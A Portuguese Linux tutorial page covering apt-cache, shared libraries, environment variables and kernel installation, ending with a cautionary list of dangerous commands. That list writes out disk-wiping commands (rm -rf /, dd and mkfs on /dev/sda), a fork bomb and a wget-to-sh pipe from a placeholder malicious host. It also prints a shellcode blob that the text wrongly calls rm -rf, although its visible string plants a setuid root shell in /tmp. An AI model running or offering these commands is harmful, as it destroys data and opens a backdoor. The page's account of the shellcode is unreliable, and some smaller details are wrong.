Aprenda Linux

  • Página Inicial
  • Contato!
  • Tudo sobre Linux Parte 1!
  • Tudo sobre Linux Parte 2!
  • Tudo sobre Linux Parte 3!
  • Tudo sobre Linux Parte 4!
  • Tudo sobre Linux Parte 5!
  • Tudo sobre Linux Parte 6!
  • Tudo sobre Linux Parte 2

    Apt-Cache - Manipular e Obter Informações Sobre os Pacotes no Cache do Apt

    O apt-cache é um comando utilizado para manipular e obter informações sobre os pacotes no cache do apt.

    Veja alguns exemplos:

    Podemos digitar assim para vermos a paginação aos poucos (para sair digite q):

    
    apt-cache pkgnames | less
    
    

    Para ver o filtro com itens específicos:

    
    apt-cache pkgnames | grep fonts
    
    

    E juntar os dois:

    
    apt-cache pkgnames | grep fonts | less
    
    

    O less pode ser usado em outros comandos:

    
    apt-cache dump | less
    
    

    Outros exemplos de uso:

    Por exemplo:

    
    apt-cache search atari
    
    apt-cache show stella
    
    apt-cache showpkg stella
    
    apt-cache depends stella
    
    

    PS: Podemos também usar apenas apt no lugar de apt-cache.

    Gerenciamento de Bibliotecas Compartilhadas no Linux (ldd, ldconfig, ld.so)

    O comando ldd exibe as bibliotecas compartilhadas requeridas por cada um dos programas listados na sua linha de comando, trazendo o nome da biblioteca e o local onde se espera encontrá-la.

    Para consultar a versão do ldd, digite ldd --version.

    Para começar, digite isso para vermos as bibliotecas do programa ls:

    
    ldd /bin/ls
    
    

    Os programas executáveis dinamicamente vinculados são examinados, no momento da execução, pelo vinculador dinâmico de objetos compartilhados ld.so.

    Ele procura por dependências no executável que está sendo carregado e tenta satisfazer vínculos a bibliotecas compartilhadas de sistema que não estejam resolvidos. Se ele não encontrar uma biblioteca, o programa poderá não rodar.

    ld.so pode procurar pelos diretórios que contém bibliotecas na variável LD_LIBRARY_PATH ou as bibliotecas são procuradas em um índice de nomes e localizações de bibliotecas (binário) chamado /etc/ld.so.cache.

    Para adicionar novas entradas ao cache, adicione o diretório que contém as bibliotecas ao arquivo /etc/ld.so.conf e atualize o cache com o comando ldconfig.

    Digite esses comandos:

    
    cat /etc/ld.so.conf
    
    ldconfig
    
    

    O ldconfig configura ligações em tempo de execução do ligador dinâmico (ld.so). Cria os links e cache necessários para as bibliotecas compartilhadas mais recentes encontradas nos diretórios especificados na CLI, no arquivo /etc/ld.so.conf e nos diretórios /lib e /usr/lib.

    O ldconfig deve ser sempre executado após a instalação de uma nova biblioteca compartilhada. O comando ldconfig -p examina o conteúdo do cache de bibliotecas ls.so.cache, e o ldconfig reconstrói o cache incluindo as atualizações realizadas em /etc/ld.so.conf.

    Na variável de ambiente LD_LIBRARY_PATH contém uma lista de diretórios separados por : onde o sistema irá procurar por determinada biblioteca dinâmica (*.so). Quando um programa precisa de uma biblioteca, o sistema a procura nos diretórios listados em LD_LIBRARY_PATH, depois no arquivo de cache /etc/ld.so.cache e então nos diretórios /lib e /usr/lib. Para visualizar o conteúdo da variável de ambiente, use o comando echo $LD_LIBRARY_PATH. Ele deverá retornar /usr/local/lib/:/usr/lib/:/usr/lib64/ se estiver configurado corretamente. Caso não retorne, coloque a variável com esses valores no arquivo /etc/bash.bashrc.

    No arquivo /etc/ld.so.conf contém uma lista de diretórios nos quais podem se procurar por bibliotecas, configurável pelo usuário. E no arquivo /etc/ld.so.cache contém uma lista ordenada de bibliotecas encontradas nos diretórios encontrados em /etc/ld.so.conf. Não é legível por humanos e não deve ser editado, pois é binário.

    As bibliotecas compartilhadas funcionam assim: O usuário executa um programa qualquer. O programa ld.so é invocado para descobrir as dependências do programa do usuário e vincular as bibliotecas necessárias. Para isso o ld.so consulta diversos diretórios que contém as bibliotecas e a variável de ambiente LD_LIBRARY_PATH. Ao encontrar as dependências requeridas, efetua a vinculação e assim as funções da biblioteca ficam disponíveis para o programa chamador e ele é então executado. O ld.so também pode consultar um cache de nomes de bibliotecas e caminhos chamado /etc/ld.so.cache (não legível por humanos). É Possível acrescentes mais caminhos de diretórios ao ld.so.cache editando-se o arquivo de configuração /etc/ld.so.conf. Caso o /etc/ld.so.conf seja editado, rode o programa ldconfi logo após para atualizar o cache com as novas configurações.

    Variáveis de Ambiente no Linux e Comandos echo, env e export

    As variáveis de ambiente permitem mudar o shell de várias formas para adaptá-lo às necessidades do usuário. Esses são alguns exemplos de variáveis de ambiente:

    Para verificar o conteúdo de uma variável de ambiente, podemos fazer assim:

    Para adicionar um caminho à variável PATH, digitamos PATH=$PATH:/novocaminho. Para criar uma variável de ambiente, digitamos NOMEDAVARIAVEL=meuconteudo. As variáveis assim criadas possuem escopo local válidas apenas no shell atual. Para tornar seu escopo global, exporte-as com o comando export.

    Digite esses comandos:

    
    FRUTA=laranja
    
    echo $FRUTA
    
    export FRUTA
    
    env
    
    mkdir /testevar
    
    PATH=$PATH:/minhavar
    
    env
    
    

    PS: Para tornar as variáveis de ambiente permanente no sistema, coloque elas no final do arquivo localizado em ~/.bashrc (para usuário) ou /etc/bash.bashrc (para todo o sistema), como por exemplo export PATH=$PATH:/caminho. Para adicionar um caminho ao path, adicione o caminho com dois pontos no arquivo /etc/environment, da forma :/caminho.

    Para remover uma variável exportada, digite unset $variavel.

    Instalar Novo Kernel no Sistema

    Antes de instalar o novo kernel, faça o back-up dos arquivos do seu Linux.

    Para descobrirmos a versão atual do kernel, digite uname -r. Para vermos os kernels disponíveis digitamos apt-cache search linux-image.

    Para instalar, basta isso, substituindo pelo kernel desejado:

    
    apt-get install linux-image-2.6.32.5-xen-686
    
    

    No final, ele ficará com dois kernels, após um reinício da máquina e o uso pelo novo kernel, podemos excluir o antigo pelo apt-get remove.

    Comandos que Podem Danificar seu Sistema Linux

    Há uma série de comandos e combinações de comandos que são extremamente perigosos em seu ambiente Linux, especialmente se você utiliza o sistema como usuário root para tarefas normais. É importante conhecer alguns desses comandos para evitar problemas sérios em seu sistema.

    O comando rm -rf é uma forma rápida de apagar uma pasta e seu conteúdo. Mas qualquer erro pode resultar em perda de dados, geralmente irrecuperável. Vejamos algumas opções:

    PS: Alguns sistemas tem proteção própria contra o uso errado desse comando, mas pode usar algo como rm -rf / --no-preserve-root para apagar o sistema.

    O comando :(){ :|:& };: é uma fork bomb, que cria vários processos até travar o sistema. Ele funciona definindo uma função chamada ":", a qual chama a si mesma duas vezes, uma em foreground (primeiro plano) e outra em background.

    O comando mv nomedoarquivo /dev/null moverá o arquivo especificado para o dispositivo /dev/null. No Linux, o dispositivo /dev/null ou null é um arquivo especial que descarta todos os dados escritos nele e informa que a operação de escrita foi bem-sucedida.

    O comando wget http://fontemaliciosa -O- | sh irá baixar um script da Internet, o qual pode estar em uma fonte maliciosa de dados, e então o executará por meio do shell sh.

    O comando > nomedoarquivo pode ser usado para apagar o conteúdo de um arquivo. Se esse comando for executado inadvertidamente, como por exemplo "> arquivo.conf", todo o conteúdo do arquivo arquivo.conf será sobrescrito e, dessa forma, perdido.

    O comando dd if=/dev/random of=/dev/sda irá apagar o dispositivo de blocos sda e escreverá dados aleatórios nele. Como seu sistema provavelmente está instalado nesse dispositivo, estará perdido e irrecuperável.

    O comando mkfs.ext3 /dev/sda formata o dispositivo de blocos sda e então o disco terá seu conteúdo totalmente apagado, como se fosse um disco novo.

    E também tem esse código em hexadecimal aqui:

    
    char esp[] __attribute__ ((section(".text”))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";
    
    

    Essa sequência de caracteres toda nada mais é que o comando rm -rf, porém representado em códigos hexadecimais, de modo a enganar quem não conheça esse tipo de representação. Se esse comando for executado no terminal, a partição principal do sistema será totalmente apagada.

    Uma coisa boa no Linux é que muitos desses comandos acima só são executados como root. Mas alguns sistemas, como o Kali e principalmente os que só usam a linha de comando, geralmente entram como root. Alguns desses comandos o próprio sistema já protege contra eles.